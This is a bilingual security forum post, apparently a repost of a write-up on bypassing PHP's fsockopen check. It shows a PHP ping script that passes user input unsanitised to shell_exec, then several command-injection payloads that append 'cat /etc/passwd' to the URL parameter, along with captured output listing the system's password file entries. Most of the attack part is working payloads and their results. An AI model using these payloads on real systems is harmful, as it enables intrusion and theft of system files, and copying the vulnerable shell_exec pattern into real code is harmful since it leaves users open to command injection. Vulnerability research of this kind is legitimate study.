

PHP 新特性or 0day?

时间	作者	等级	Rank
2017-02-04 09:46:06	captain (/profile/1/)	低危	10

PHP Feature or 0day?

<https://osandamalith.com/2016/12/11/php-feature-or-0day/#more-1928>

```
<?php
ini_set('error_displays', 0);
$ip = htmlspecialchars($_GET['url'], ENT_QUOTES);
$f = fsockopen($ip, 80, $errno, $errstr, 5);
if($f) {
    $result = shell_exec('ping -c 1 ' . $ip);
    echo '<div class="alert alert-success">' . nl2br($result) . '</div>';
} else {
    echo '<div class="alert alert-danger">' . $errstr . '</div>';
}
?>
```

From what I noticed the function fsockopen checks if port 80 is open and if only port 80 is open the \$ip variable is passed to shell_exec. Basically fsockopen should return a valid pointer.

从这个例子中我发现fsockopen函数将会检查80端口是否打开，如果80端口打开，则\$ip变量将会通过shell_exec函数。基本上fsockopen函数将会返回一个可以验证执行正确与否的指针。

如果我们输入下面的内容

```
?url=127.0.0.1; cat /etc/passwd
```

我们将会获取到错误信息

```
php_network_getaddresses: getaddrinfo failed: Name or service not known
```

I simply added a space in front of the IP and noticed that we get a valid pointer from fsockopen

我在ip地址后简单的加了几个空格，注意到我们将会绕过fsockopen函数。

```
Resource id #1
```

Seems like the IP is validated as port 80 is open and the rest is ignored by the function.

看起来ip经过了验证，80端口也已经打开，而且地址栏中剩余的部分将会被函数忽略

几种姿势

```
?url=127.0.0.1 |cat /etc/passwd
```

```
?url=127.0.0.1%0acat /etc/passwd
```

截图

INT

Load URL

Split URL

Execute

Enable Post data

Enable Referrer

http://10.11.0.31/ping2.php?url=127.0.0.1 ;cat /etc/passwd

Open

ping2.php

/var/www/html

ping2.php

```
<?php
ini_set('error_displays', 0);
$ip = htmlspecialchars($_GET['url'], ENT_QUOTES);
$f = fsockopen($ip, 80, $errno, $errstr, 5);
if($f) {
    $result = shell_exec('ping -c 1 ' . $ip);
    echo '<div class="alert alert-success">' . nl2br($result) . '</div>';
} else {
    echo '<div class="alert alert-danger">' . $errstr . '</div>';
}
?>
```

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data:
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.018 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0.018 ms
rtt min/avg/max/mdev = 0.018/0.018/0.018/0.000 ms
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

审核评价： 没有任何评价...



[\(/profile/1/\)](/profile/1/)

[captain \(/profile/1/\)](/profile/1/) 评论于 1 周, 3 日 前

[回复](#) [删除](#)

评论

提交